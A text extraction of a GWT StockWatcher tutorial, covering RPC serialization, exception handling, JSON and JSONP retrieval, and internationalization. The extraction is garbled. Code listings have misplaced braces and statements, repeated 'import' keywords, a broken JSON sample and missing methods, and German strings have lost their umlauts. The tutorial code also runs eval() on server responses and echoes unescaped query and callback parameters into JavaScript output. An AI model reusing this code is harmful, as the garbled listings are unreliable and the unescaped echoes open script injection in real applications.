It must be located in the same package as the service interface. Each method must have the same name and signature as in the service interface with an important difference: the method has no return type and the last parameter is an AsyncCallback object.
1. In the client subpackage, create an interface and name it StockPriceServiceAsync. 2. Replace the stub with following code.
100 / 469
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.user.client.rpc.AsyncCallback; public interface StockPriceServiceAsync { void getPrices(String[] symbols, AsyncCallback<StockPrice[]> callback); }
Tip: The Google Plugin for Eclipse will generate an error when it finds a synchronous remote service without a matching asynchronous interface. You can right click on the error in Eclipse, select Quick Fix, and choose the "Create asynchronous RemoteService interface" option to automatically generate the asynchronous interface.
Eclipse flags GWT. 2. Initialize the service proxy class, set up the callback object, and make the call to the remote procedure. Replace the existing refreshWatchList method with the following code.
private void refreshWatchList() { // Initialize the service proxy. if (stockPriceSvc == null) { stockPriceSvc = GWT.create(StockPriceService.class); } // Set up the callback object. AsyncCallback<StockPrice[]> callback = new AsyncCallback<StockPrice[]>() { public void onFailure(Throwable caught) { // TODO: Do something with errors. } public void onSuccess(StockPrice[] result) { updateTable(result); } }; // Make the call to the stock price service. stockPriceSvc.getPrices(stocks.toArray(new String[0]), callback); }
101 / 469
In the service implementation (StockPriceServiceImpl), you inherited the code that serializes and deserializes Java objects by extending the RemoteServiceServlet class. However the problem is that we did not also edit the StockPrice class to indicate it was serializable.
3.3.1.3.
Serialization is the process of packaging the contents of an object so that it can moved from one application to another application or stored for later use. Anytime you transfer an object over the network via GWT RPC, it must be serialized. Specifically, GWT RPC requires that all service method parameters and return types be serializable. A type is serializable and can be used in a service interface if one of the following is true: All primitive types (int, char, boolean, etc.) and their wrapper objects are serializable by default. An array of serializable types is serializable by extension. A class is serializable if it meets these three requirements: It implements either Java Serializable or GWT IsSerializable interface, either directly, or because it derives from a superclass that does. Its non-final, non-transient instance fields are themselves serializable, and It has a default (zero argument) constructor with any access modifier (e.g. private Foo(){} will work)
GWT honors the transient keyword, so values in those fields are not serialized (and thus, not sent over the wire when used in RPC calls). Note: GWT serialization is not the same as serialization based on the Java Serializable interface. For more information on what is and is not serializable in GWT, see the Developer's Guide, Serializable Types.
Serializing StockPrice
Based on the requirements for serialization, what do you need to do to make the StockPrice class ready for GWT RPC? Because all its instance fields are primitive types, all you need to do in this case is implement the Serializable or IsSerializable interface.
package com.google.gwt.sample.stockwatcher.client; import java.io.Serializable; public class StockPrice implements Serializable { private String symbol; private double price; private double change; ...
1. Refresh StockWatcher in development mode. 2. Add a stock. 3. StockWatcher adds the stock to the table; the Price and Change fields contain data and there are no errors. Atlhough StockWatcher doesn't look any different on the surface, underneath it is now retrieving its stock price updates from the server-side StockPriceService servlet on the embedded servlet container instead of generating them on the client-side. 102 / 469
At this point, the basic RPC mechanism is working. However, there is one TODO left. You need to code the error handling in case the callback fails.
3.3.1.4.
Handling Exceptions
When a remote procedure call fails, the cause falls into one of two categories: an unexpected exception or a checked exception. In either case you want to handle the exception and, if necessary, provide feedback to the user. Unexpected exceptions: Any number of unexpected occurrences could cause the call to a remote procedure to fail: the network could be down; the HTTP server on the other end might not be listening; the DNS server could be on fire, and so forth. Another type of unexpected exception can occur if GWT is able to invoke the service method, but the service implementation throws an undeclared exception. For example, a bug may cause a NullPointerException. When unexpected exceptions occur in the service implementation, you can find the full stack trace in the development mode log. On the client-side, the onFailure(Throwable) callback method will receive an InvocationException with the generic message: The call failed on the server; see server log for details. Checked exceptions: If you know a service method might throw a particular type of exception and you want the client-side code to be able to handle it, you can use checked exceptions. GWT supports the throws keyword so you can add it to your service interface methods as needed. When checked exceptions occur in an RPC service method, GWT will serialize the exception and send it back to the caller on the client for handling.
103 / 469
Update the stock price service interface: StockPriceService In the service interface (StockPriceService), append a throws declaration to the getPrices(String[]) method. In StockPriceService.java, make the changes highlighted below.
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.user.client.rpc.RemoteService; import com.google.gwt.user.client.rpc.RemoteServiceRelativePath; @RemoteServiceRelativePath("stockPrices") public interface StockPriceService extends RemoteService { StockPrice[] getPrices(String[] symbols) throws DelistedException; }
Update the stock price service implementation: StockPriceServiceImpl You need to make two changes to the service implementation (StockPriceServiceImpl). 1. Make the corresponding change to the getPrices(String[]) method. Append a throws declaration. Include the import declaration for DelistedException. 2. Add the code to throw the Delisted Exception. For the sake of this example, keep it simple and only throw the exception when the stock symbol ERR is added to the watch list. 3. This listing shows the completed StockPriceServiceImpl class.
import com.google.gwt.sample.stockwatcher.client.DelistedException; ... public StockPrice[] getPrices(String[] symbols) throws DelistedException { Random rnd = new Random(); StockPrice[] prices = new StockPrice[symbols.length]; for (int i=0; i<symbols.length; i++) { if (symbols[i].equals("ERR")) { throw new DelistedException("ERR"); } double price = rnd.nextDouble() * MAX_PRICE; double change = price * MAX_PRICE_CHANGE * (rnd.nextDouble() * 2f - 1f); prices[i] = new StockPrice(symbols[i], price, change); } } return prices;
At this point you've created the code that will throw the exception. You don't need to add the throws declaration to the service method in StockPriceServiceAsync.java. That method will always return immediately (remember, it's asynchronous). Instead you'll receive any thrown checked exceptions when GWT calls the onFailure(Throwable) callback method.
104 / 469
2. To hold the text of the error message, add a Label widget. In StockWatcher.java, add the following instance field.
private StockPriceServiceAsync stockPriceSvc = GWT.create(StockPriceService.class); private Label errorMsgLabel = new Label();
3. Initialize the errorMsgLabel when StockWatcher launches. In the onModuleLoad method, add a secondary class attribute to errorMsgLabel and do not display it when StockWatcher loads. Add the error message to the Main panel above the stocksFlexTable.
// Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addButton); addPanel.addStyleName("addPanel"); // Assemble Main panel. errorMsgLabel.setStyleName("errorMessage"); errorMsgLabel.setVisible(false); mainPanel.add(errorMsgLabel); mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel);
2. If the error is corrected, hide the error message widget. In the updateTable(StockPrice[] prices) method, clear any errors.
105 / 469
private void updateTable(StockPrice[] prices) { for (int i=0; i < prices.length; i++) { updateTable(prices[i]); } // Display timestamp showing last refresh. lastUpdatedLabel.setText("Last update : " + DateTimeFormat.getMediumDateTimeFormat().format(new Date())); // Clear any errors. errorMsgLabel.setVisible(false);
4. Delete the stock code, ERR. 5. The error message is removed. Valid stock code data resumes being refreshed.
106 / 469
3.3.2.
JSON
At this point, you've created the initial implementation of the StockWatcher application, simulating stock data in the clientside code. On this page, you'll make a call to your local server to retrieve JSON-formatted stock data instead: 1. Creating a source of JSON data on your local server 2. Manipulating JSON data int he client-side code 3. Making HTTP requests to retrieve data from the server 4. Handling GET errors Additional information follows: 1. More about JSON, JSNI, Overlay types, and HTTP Note: For a broader guide to client-server communication in a GWT application, see Communicate with a Server.
What is JSON?
JSON is a universal, language-independent format for data. In this way, it's similar to XML. Whereas XML uses tags, JSON is based on the object-literal notation of JavaScript. Therefore the format is simpler than XML. In general, JSONencoded data is less verbose than the equivalent data in XML and so JSON data downloads more quickly than XML data. When you encode the stock data for StockWatcher in JSON format, it will look something like this (but the whitespace will be stripped out).
[ { "symbol": "ABC", "price": 87.86, "change": -0.41 "symbol": "DEF", "price": 62.79, "change": 0.49 "symbol": "GHI", "price": 67.64, "change": 0.05
}, {
}, {
107 / 469
3.3.2.1.
In this tutorial, you'll create a servlet to generate the stock data in JSON format. Then you'll make an HTTP call to retrieve the JSON data from the server. You'll use JSNI and GWT overlay types to work with the JSON data while writing the client-side code.
108 / 469
package com.google.gwt.sample.stockwatcher.server; import java.io.IOException; import java.io.PrintWriter; import java.util.Random; import import import import javax.servlet.ServletException; javax.servlet.http.HttpServlet; javax.servlet.http.HttpServletRequest; javax.servlet.http.HttpServletResponse;
public class JsonStockData extends HttpServlet { private static final double MAX_PRICE = 100.0; // $100.00 private static final double MAX_PRICE_CHANGE = 0.02; // +/- 2% @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { Random rnd = new Random(); PrintWriter out = resp.getWriter(); out.println('['); String[] stockSymbols = req.getParameter("q").split(" "); for (String stockSymbol : stockSymbols) { double price = rnd.nextDouble() * MAX_PRICE; double change = price * MAX_PRICE_CHANGE * (rnd.nextDouble() * 2f - 1f); out.println(" {"); out.print(" \"symbol\": \""); out.print(stockSymbol); out.println("\","); out.print(" \"price\": "); out.print(price); out.println(','); out.print(" \"change\": "); out.println(change); out.println(" },"); } out.println(']'); out.flush();
} }
109 / 469
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd"> <web-app> <!-- Default page to serve --> <welcome-file-list> <welcome-file>StockWatcher.html</welcome-file> </welcome-file-list> <!-- Servlets --> <servlet> <servlet-name>jsonStockData</servlet-name> <servlet-class>com.google.gwt.sample.stockwatcher.server.JsonStockData</servlet-class> </servlet> <servlet-mapping> <servlet-name>jsonStockData</servlet-name> <url-pattern>/stockwatcher/stockPrices</url-pattern> </servlet-mapping> </web-app>
110 / 469
3.3.2.2.
Overview
At this point, you've verified that you are able to get JSON data from a server. Later in this section, you'll code the HTTP GET request to the server. First, focus on working with the JSON-encoded text that's returned to the client-side code. Two techiques you'll use are JSNI (JavaScript Native Interface) and GWT overlay types. This is the JSON data coming back from the server.
[
}, ]
First, you'll use a JavaScript eval() function to convert the JSON string into JavaScript objects.
private final native JsArray<StockData> asArrayOfStockData(String json) /*-{ return eval(json); }-*/;
In both cases, you'll use JSNI. When the client-side code is compiled to JavaScript, the Java methods are replaced with the JavaScript exactly as you write it inside the tokens.
111 / 469
/** * Convert the string of JSON into JavaScript object. */ private final native JsArray<StockData> asArrayOfStockData(String json) /*-{ return eval(json); }-*/;
Eclipse flags JsArray and StockData. StockData is the overlay type you will use to replace the StockPrice class. 2. Declare the import.
import com.google.gwt.core.client.JsArray;
3. Create a stub for the StockData class in the client package. Ignore any remaining compile errors in the StockWatcher class; these will be resolved after you code the StockData class.
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.core.client.JavaScriptObject; class StockData extends JavaScriptObject { // Overlay types always have protected, zero argument constructors. protected StockData() {} // (1) // (2)
// JSNI methods to get stock data. public final native String getSymbol() /*-{ return this.symbol; }-*/; // (3) public final native double getPrice() /*-{ return this.price; }-*/; public final native double getChange() /*-{ return this.change; }-*/; // Non-JSNI method to return change percentage. public final double getChangePercent() { return 100.0 * getChange() / getPrice(); } } // (4)
112 / 469
Implementation Notes
(1) StockData is a subclass of JavaScriptObject, a marker type that GWT uses to denote JavaScript objects. JavaScriptObject gets special treatment from the GWT compiler and development mode code server. Its purpose is to provide an opaque representation of native JavaScript objects to Java code. (2) Overlay types always have protected, zero-argument constructors. (3) Typically methods on overlay types are JSNI. These getters directly access the JSON fields you know exist. By design, all methods on overlay types are final and private; thus every method is statically resolvable by the compiler, so there is no need for dynamic dispatch at runtime. (4) However, methods on overlay types are not required to be JSNI. Just as you did in the StockPrice class, you calculate the change percentage based on the price and change values.
3.3.2.3.
Now that you have the mechanism for working with the JSON data in place, you'll write the HTTP request that gets the data from the server. In this example, you're going to replace the current refreshWatchList method with a new implementation that uses HTTP.
3. Append the stock codes to the query URL and encode it. Replace the existing refreshWatchList method with the following code.
113 / 469
private void refreshWatchList() { if (stocks.size() == 0) { return; } String url = JSON_URL; // Append watch list stock symbols to query URL. Iterator iter = stocks.iterator(); while (iter.hasNext()) { url += iter.next(); if (iter.hasNext()) { url += "+"; } } url = URL.encode(url); // TODO Send request to server and handle errors. }
Asynchronous HTTP
To get the JSON text from the server, you'll use the HTTP client classes in the com.google.gwt.http.client package. These classes contain the functionality for making asynchronous HTTP requests. The HTTP types are contained within separate GWT modules that StockWatcher needs to inherit. 1. To inherit other GWT modules, edit the module XML file. In StockWatcher.gwt.xml, add <inherits> tags and specify the HTTP module.
<!-- Other module inherits --> <inherits name="com.google.gwt.http.HTTP" />
2. Open StockWatcher.java and include the following import declarations. Declare the imports for the following Java types.
import import import import import com.google.gwt.http.client.Request; com.google.gwt.http.client.RequestBuilder; com.google.gwt.http.client.RequestCallback; com.google.gwt.http.client.RequestException; com.google.gwt.http.client.Response;
114 / 469
// Send request to server and catch any errors. RequestBuilder builder = new RequestBuilder(RequestBuilder.GET, url); try { Request request = builder.sendRequest(null, new RequestCallback() { public void onError(Request request, Throwable exception) { displayError("Couldn't retrieve JSON"); } public void onResponseReceived(Request request, Response response) { if (200 == response.getStatusCode()) { updateTable(asArrayOfStockData(response.getText())); } else { displayError("Couldn't retrieve JSON (" + response.getStatusText() + ")"); } } }); } catch (RequestException e) { displayError("Couldn't retrieve JSON"); }
2. You receive two compile errors which you will resolve in a minute.
1. Replace the existing update updateTable(StockPrice[]) method with the following code.
/** * Update the Price and Change fields for all rows in the stock table. * * @param prices Stock data for all rows. */ private void updateTable(JsArray<StockData> prices) { for (int i = 0; i < prices.length(); i++) { updateTable(prices.get(i)); } // Display timestamp showing last refresh. lastUpdatedLabel.setText("Last update : " + DateTimeFormat.getMediumDateTimeFormat().format(new Date())); }
2. Make a corresponding change in the updateTable(StockPrice price) method. Change the reference to the StockPrice class to StockData class.
private void updateTable(StockData price) { // Make sure the stock is still in the stock table. if (!stocks.contains(price.getSymbol())) { return; } ... }
115 / 469
3.3.2.4.
If something breaks along the way (for example, if the server is offline, or the JSON is malformed), you'll trap the error and display a message to the user. To do this you'll create a Label widget and write a new method, displayError(String). 1. Clear the compiler error by creating a stub method in the StockWatcher class. Set the text for the error message and make the Label widget visible.
/**
* If can't get JSON, display error message. * @param error */ private void displayError(String error) { errorMsgLabel.setText("Error: " + error); errorMsgLabel.setVisible(true); }
2. Eclipse flags errorMsgLabel. Ignore the compile errors for a moment; you'll implement a Label widget to display the error text in the next step. 3. If the error is corrected, hide the Label widget. In the updateTable(JsArray<StockData> prices) method, clear any error messages.
private void updateTable(JsArray<StockData> prices) { for (int i=0; i < prices.length; i++) { updateTable(prices[i]); } // Display timestamp showing last refresh. lastUpdatedLabel.setText("Last update : " + DateTimeFormat.getMediumDateTimeFormat().format(new Date())); // Clear any errors. errorMsgLabel.setVisible(false); }
2. To hold the text of the error message, add a Label widget. In StockWatcher.java, add the following instance field.
private ArrayList<String> stocks = new ArrayList<String>(); private Label errorMsgLabel = new Label();
3. Initialize the errorMsgLabel when StockWatcher launches. In the onModuleLoad method, add a secondary class attribute to errorMsgLabel and do not display it when StockWatcher loads. Add the error message to the Main panel above the stocksFlexTable.
116 / 469
// Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addButton); addPanel.addStyleName("addPanel"); // Assemble Main panel. errorMsgLabel.setStyleName("errorMessage"); errorMsgLabel.setVisible(false); mainPanel.add(errorMsgLabel); mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel);
6. In StockWatcher,java, correct the URL. 7. Refresh StockWatcher in development mode. Enter several stock codes. StockWatcher should display Price and Change data for each stock again.
117 / 469
3.3.3.
JSON - PHP
If you have a web server (Apache, IIS, etc.) installed locally and PHP installed, you can write a PHP script to generate stock data and make the call to your local server. What's important for this example is that the stock data is JSONencoded and that the server is local. 1. Create a PHP script. In the Eclipse Package Explorer, select the StockWatcher/war folder. From the Eclipse menu bar, select File > New > File. In the New File window, enter the file name stockPrices.php
<?php header('Content-Type: text/javascript'); header('Cache-Control: no-cache'); header('Pragma: no-cache'); define("MAX_PRICE", 100.0); // $100.00 define("MAX_PRICE_CHANGE", 0.02); // +/- 2% echo '['; $q = trim($_GET['q']); if ($q) { $symbols = explode(' ', $q); for ($i=0; $i<count($symbols); $i++) { $price = lcg_value() * MAX_PRICE; $change = $price * MAX_PRICE_CHANGE * (lcg_value() * 2.0 - 1.0); echo echo echo echo echo '{'; "\"symbol\":\"$symbols[$i]\","; "\"price\":$price,"; "\"change\":$change"; '}';
} } ?>
echo ']';
2. Compile StockWatcher. Click the GWT Compile Project button in the toolbar or run the ant build script to create the production mode files for the application (which will now include stockPrices.php).
118 / 469
3. Move the compiled StockWatcher files in the StockWatcher/war directory to a /StockWatcher directory in whatever web server (Apache, IIS, etc.) you have installed locally which supports PHP. If you are not using Java servlets (e.g. GWT RPC), you will not have to move over the files in StockWatcher/war/WEB-INF 4. Test the stock quote server. In a web browser, navigate to http://localhost/StockWatcher/stockPrices.php?q=ABC+DEF StockPrice data is returned in JSON format.
[{"symbol":"ABC","price":40.485578668179,"change":-0.53944918844604}, {"symbol":"DEF","price":1.3606576154209,"change":0.0051755221198266}]
Now that you can retrieve JSON-encoded stock data from the server, continue with the next step in the JSON tutorial, Manipulating JSON data in the client-side code.
119 / 469
3.3.4.
Cross-Site
At this point, you've modified the initial implementation of the StockWatcher application, which simulated stock data in the client-side code. The current implementation now retrieves JSON-formatted data from your local server. In this session, you'll make a call to a remote server instead. To do so you will have to work around SOP (Same Origin Policy) constraints. 1. 2. 3. 4. 5. Review the requirements and design: access restrictions and asynchronous communication. Create a source of JSON data on a remote server. Request the data from the remote server. Handle the response. Test.
Note: For a broader guide to client-server communication in a GWT application, see Communicate with a Server.
3.3.4.1.
As you modify the current implementation of StockWatcher to access data on a remote server, there are two issues to address: Access Restrictions: SOP (Same Origin Policy) Asynchronous Communication
120 / 469
Proxy on your own server The first option is to play by the rules of SOP and create a proxy on your local server. You can then make HTTP calls to your local server and have it go fetch the data from the remote server. This works because the code running on your web server is not subject to SOP restrictions. Only the client-side code is. Specifically for the StockWatcher application, you could implement this strategy by writing server-side code to download (and maybe cache) the JSON-encoded stock quotes from a remote server. You could then use any mechanism we want for retrieving the data from the local server: GWT RPC or direct HTTP using RequestBuilder. One downside to this approach is that it requires additional server-side code. Another is that the extra HTTP call increases the latency of remote calls and adds to the workload on our web server. Load the JSON response into a <script> tag Another option is to dynamically load JavaScript into a <script> tag. Client-side JavaScript can manipulate <script> tags, just like any other element in the HTML Document Object Model (DOM). Client-side code can set the src attribute of a <script> tag to automatically download and execute new JavaScript into the page. This strategy is not subject to SOP restrictions. So you can effectively use it to load JavaScript (and therefore JSON) from remote servers. This is the strategy you'll use to get the JSON-formatted stock data from a remote server.
Asynchronous Communication
Dynamically loading the JavaScript into a <script> tag solves the SOP issue but introduces another. When you use this method to load JavaScript, although the browser retrieves the code asynchronously, it doesn't notify you when it's finished. Instead, it simply executes the new JavaScript. However, by definition, JSON cannot contain executable code. Put the two together and you'll realize that you can't load plain JSON data using a <script> tag.
Google Data APIs support this technique. For StockWatcher, the additional requirement in the client-side code is that you include the name of the JavaScript function you're using as a callback in the HTTP request .
Implementation Strategies
Now that you understand the SOP issues surrounding cross-site requests, compare this implementation to the implementation for getting JSON data from a local server. You'll have to change some of the existing implementation but you'll be able to reuse some components as well. Most of the work will be in writing the new method, getJSON, which makes the call to the remote server.
121 / 469
Task Making the call Server-side code Handling the response Data objects Handle Errors
Cross-Site Implementation Embed a script whose src attribute is the URL of the JSON data with the name of the callback function appended. Returns a Javascript callback function with the JSON string Already a JavaScript object; cast it as a StockData array Reuse the overlay type Reuse the Label widget
Returns JSON string Use JavaScript eval() function to turn JSON string into JavaScript object Create an overlay type: StockData Create a Label widget to display error messages
3.3.4.2.
In this tutorial, you have two options for setting up the stock data so that StockWatcher encounters SOP restrictions. 1. If you have access to a server with PHP installed, you can use the PHP script below to generate the JSONformatted stock data. 2. If you don't have a server but have Python installed on your machine, you can use the Python script below to serve the stock data from a different port than StockWatcher is running on.
?>
3. Open a browser and make a request for the JSON data. http://[www.myStockServerDomain.com]/stockPrices.php?q=ABC 4. The JSON string is returned.
[{"symbol":"ABC","price":81.284083,"change":-0.007986}]
However, as you'll see in the next section, the StockWatcher application will not be able to make this request from its client-side code. 5. Make a request for the JSONP by appending the name of a callback function. http://[www.myStockServerDomain.com]/stockPrices.php?q=ABC&callback=callback125 6. The JSON is returned embedded in the callback function.
callback125([{"symbol":"ABC","price":53.554212,"change":0.584011}]);
MAX_PRICE = 100.0 MAX_PRICE_CHANGE = 0.02 class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): form = {} if self.path.find('?') > -1: queryStr = self.path.split('?')[1] form = dict([queryParam.split('=') for queryParam in queryStr.split('&')]) body = '[' if 'q' in form: quotes = [] for symbol in urllib.unquote_plus(form['q']).split(' '): price = random.random() * MAX_PRICE change = price * MAX_PRICE_CHANGE * (random.random() * 2.0 - 1.0) quotes.append(('{"symbol":"%s","price":%f,"change":%f}' % (symbol, price, change))) body += ','.join(quotes) body += ']' if 'callback' in form: body = ('%s(%s);' % (form['callback'], body)) self.send_response(200) self.send_header('Content-Type', 'text/javascript') self.send_header('Content-Length', len(body)) self.send_header('Expires', '-1')
123 / 469
self.send_header('Cache-Control', 'no-cache') self.send_header('Pragma', 'no-cache') self.end_headers() self.wfile.write(body) self.wfile.flush() self.connection.shutdown(1) bhs = BaseHTTPServer.HTTPServer(('', 8000), MyHandler) bhs.serve_forever()
2. Save the script to the main StockWatcher directory. 3. Make sure the Python interpreter is on your PATH. 4. Launch the script. From the command shell, enter python quoteServer.py The server will start, although you won't see any output immediately. (It will log each HTTP request). 5. Open a browser and make a request for the JSON data. http://localhost:8000/?q=ABC 6. The JSON string is returned.
[{"symbol":"ABC","price":81.284083,"change":-0.007986}]
However, as you'll see in the next section, the StockWatcher application will not be able to make this request from its client-side code. 7. Make a request for the JSONP by appending the name of a callback function. http://localhost:8000/?q=ABC&callback=callback125 8. The JSON is returned embedded in the callback function.
callback125([{"symbol":"ABC","price":53.554212,"change":0.584011}]);
3.3.4.3.
Now that you've verified that the server is returning stock data either as a JSON string or as JSONP, you can update StockWatcher to request and then handle the JSONP. The RequestBuilder code is replaced by a call to the getJson method. The first parameter is an ID number that uniquely identifies each HTTP request.
Update JSON_URL
This is the only difference that results in the implementation depending on whether the data is being served from a different domain or a different port. 1. In the StockWatcher class, change the JSON_URL constant as follows: Change:
private static final String JSON_URL = GWT.getModuleBaseURL() + "stockPrices?q=";
If your stock data is being served from a different port (the Python script), change JSON_URL to:
private static final String JSON_URL = "http://localhost:8000/?q=";
If your stock data is being served from a different domain (the PHP script), specify the domain and full path to the stockPrices.php script:
124 / 469
3. Try to retrieve plain JSON data from the remote server. Debug StockWatcher in development mode. Enter a stock code. 4. StockWatcher displays the error message: Couldn't retrieve JSON. To fix the SOP error, in the next step you'll pad the JSON with the callback function.
* Generate random stock prices. */ private void refreshWatchList() { if (stocks.size() == 0) { return; } String url = JSON_URL; // Append watch list stock symbols to query URL. Iterator<String> iter = stocks.iterator(); while (iter.hasNext()) { url += iter.next(); if (iter.hasNext()) { url += "+"; } } // Append the name of the callback function to the JSON URL. url = URL.encode(url) + "&callback=";
// Send request to server by replacing RequestBuilder code with a call to a JSNI method. getJson(jsonRequestId++, url, this); }
2. Eclipse flags getJson. Ignore the compile error; you'll write that method in a minute. 3. If you haven't already, delete the RequestBuilder code. The RequestBuilder code is replaced by a call to the getJson method. So you no longer need the following code in the refreshWatchList method:
125 / 469
// Send request to server and catch any errors. RequestBuilder builder = new RequestBuilder(RequestBuilder.GET, url); try { Request request = builder.sendRequest(null, new RequestCallback() { public void onError(Request request, Throwable exception) { displayError("Couldn't retrieve JSON"); } public void onResponseReceived(Request request, Response response) { if (200 == response.getStatusCode()) { updateTable(asArrayOfStockData(response.getText())); } else { displayError("Couldn't retrieve JSON (" + response.getStatusText() + ")"); } } }); } catch (RequestException e) { displayError("Couldn't retrieve JSON"); }
126 / 469
Implementation Notes [1] The script starts by setting up a <script> element. The src attribute points to the URL that will retrieve the JSON data wrapped in a callback function. [2] The callback function is defined on the browser's window object. It receives as an argument a JavaScript object which is the JSON data returned by the server. [3] The callback function passes the JSON data as a JavaScript object to the Java method, handleJsonResponse. [4] A timeout function is defined to check for an unresponsive server or network problem; it checks a flag to see if the JSON callback was ever called. [5] Before the timeout function completes, it removes the new <script> element and the callback function from window. [6] Finally call appendChild() to attach the dynamically-loaded <script> element to the HTML document body. This causes the web browser to download the JavaScript referenced by the src attribute.
Handling multiple pending requests This implementation generates callback function names sequentially in case of multiple pending requests. In particular, notice the syntax used to call the handleJsonResponse(JavaScriptObject) method:
handler.@com.google.gwt.sample.stockwatcher.client.StockWatcher::handleJsonResponse(Lcom/google/g wt/core/client/JavaScriptObject;)(jsonObj);
You can see that once the JSON object is downloaded, the callback in the JSNI method is really just delegating to the Java method handleJsonResponse. More about bridge methods Calling Java methods from JavaScript is somewhat similar to calling Java methods from C code in JNI. In particular, JSNI borrows the JNI mangled method signature approach to distinguish among overloaded methods. JavaScript calls into Java methods are of the following form:
[instance-expr.]@class-name::method-name(param-signature)(arguments)
Component [instance-expr.]
Description Must be present when calling an instance method and must be absent when calling a static method The fully-qualified name of the StockWatcher class The name of the method we're calling The handleJsonResponse method signature, defined with the JNI syntax The jsonObj containing the JSON data
For more information on manipulating Java objects from within the JavaScript implementation of a JSNI method, see the Developer's Guide, Accessing Java Methods and Fields from JavaScript.
127 / 469
3.3.4.4.
At this point most of your work is done. The one difference is that the return value is already a JavaScript object, not a JSON string. Thus, in the asArrayOfStockData method you no longer have to use the JavaScript eval() function to convert it.
* Handle the response to the request for stock data from a remote server. */ public void handleJsonResponse(JavaScriptObject jso) { if (jso == null) { displayError("Couldn't retrieve JSON"); return; } updateTable(asArrayOfStockData (jso)); }
To:
/**
* Cast JavaScriptObject as JsArray of StockData. */ private final native JsArray<StockData> asArrayOfStockData(JavaScriptObject jso) /*-{ return jso; }-*/;
128 / 469
3.3.4.5.
Testing
Whether you chose to serve the JSON-formatted stock data from a different domain or a different port, the new StockWatcher implementation should work around any SOP access restrictions and be able to retrieve the stock data.
129 / 469
3.4.
Internationalization
At this point, you've created the initial implementation of the StockWatcher application. In this tutorial, you'll learn how to prepare an application to support other languages and data formats by translating the StockWatcher user interface into German. Specifically, you will: 1. Select an internationalization technique. 2. Internationalize StockWatcher by creating a translation for each language supported. 3. Localize StockWatcher by selecting the appropriate translation for the context (locale). Note: For a broader guide to internationalizing a GWT application, see Internationalization.
3.4.1.
Design
130 / 469
3.4.2.
131 / 469
Create StockWatcherConstants
1. In the client subpackage, create an interface and name it StockWatcherConstants. In Eclipse, in the Package Explorer pane, select the package com.google.gwt.sample.stockwatcher.client From the Eclipse menu bar, select File > New > Interface Eclipse opens a New Java Interface window. 2. Fill in the New Java Interface window. At Name enter StockWatcherConstants Accept the defaults for the other fields. Press Finish Eclipse creates stub code for the StockWatcherConstants interface. 3. Replace the stub with following code. Notice the use of annotations to set default values.
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.i18n.client.Constants; public interface StockWatcherConstants extends Constants { @DefaultStringValue("StockWatcher") String stockWatcher(); @DefaultStringValue("Symbol") String symbol(); @DefaultStringValue("Price") String price(); @DefaultStringValue("Change") String change(); @DefaultStringValue("Remove") String remove(); @DefaultStringValue("Add") String add();
Implementation Note: GWT provides another interface (ConstantsWithLookup) which is similar to Constants except that it also contains methods for looking up a localized string dynamically by name at runtime.
132 / 469
Create StockWatcherConstant_de.properties
1. In the client subpackage, create a Java properties file. At Enter or select the parent folder, select StockWatcher/src/com/google/gwt/sample/stockwatcher/client At File name, enter StockWatcherConstants_de.properties 2. Change the encoding of the file to UTF-8. Select the file and then from the Eclipse menu bar, select File > Properties or right-click. Eclipse opens the Properties window. At Text file encoding, select Other UTF-8. Apply and Save the change. Note: Depending on your Eclipse configuration, when you apply the changes, you might get this warning: UTF-8 conflicts with the encoding defined in the content type (ISO-8859-1). Do you wish to set it anyway? You can ignore the warning and apply the change. 3. Add the mappings for the static text in the German user interface. Copy and paste the following text into the StockWatcherConstant_de.properties file.
stockWatcher = Aktienbeobachter symbol = Symbol price = Kurs change = nderung remove = Entfernen add = Hinzufgen
Note: Suffixing a properties file If you've never dealt with internationalization before, you may be wondering why the _de suffix is appended to German properties file. The suffix _de is the standard language tag for the German language (Deutsch). Languages tags are abbreviations that indicate a document or application's locale. In addition to specifying the language, they can also contain a subtag indicating the region of a locale. For example, the language tag for French-speaking Canada is fr_CA. In GWT, properties files indicate the locale with a language code suffix (just like Java resource bundles). The exception is the properties file for the default locale. When no locale is explicitly set at runtime, the properties file with no language code suffix is used. For StockWatcher, you've specified the default translation with annotations instead of using a default properties file.
133 / 469
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.i18n.client.Messages; import java.util.Date; public interface StockWatcherMessages extends Messages { @DefaultMessage("''{0}'' is not a valid symbol.") String invalidSymbol(String symbol); @DefaultMessage("Last update: {0,date,medium} {0,time,medium}") String lastUpdate(Date timestamp);
134 / 469
Now, you should be able to set all of StockWatcher's localized strings at runtime.
Because these are interfaces, not classes, you can't instantiate them directly. Instead, you use the GWT.create(Class) method. Then you'll be able to use these interfaces' accessor methods to retrieve the appropriate strings. 2. Eclipse flags GWT and suggests you include the import declaration.
import com.google.gwt.core.client.GWT;
3. Replace all the hardcoded strings with method calls to the constants class. Get the values of the window title, the application title, the Add Stock button, and the column headers of the flex table from the constants properties files.
public void onModuleLoad() { // Set the window title, the header text, and the Add button text. Window.setTitle(constants.stockWatcher()); RootPanel.get("appTitle").add(new Label(constants.stockWatcher())); addStockButton = new Button(constants.add()); // Create table for stock data. stocksFlexTable.setText(0, 0, constants.symbol()); stocksFlexTable.setText(0, 1, constants.price()); stocksFlexTable.setText(0, 2, constants.change()); stocksFlexTable.setText(0, 3, constants.remove()); ...
4. Replace the parameterized error message. In the addStock method, replace the alert message for an invalid stock code entry. Change:
private void addStock() { final String symbol = newSymbolTextBox.getText().toUpperCase().trim(); newSymbolTextBox.setFocus(true); // Stock code must be between 1 and 10 chars that are numbers, letters, or dots. if (!symbol.matches("^[0-9a-zA-Z\\.]{1,10}$")) { Window.alert("'" + symbol + "' is not a valid symbol."); Window.alert(messages.invalidSymbol(symbol)); newSymbolTextBox.selectAll(); return; } ...
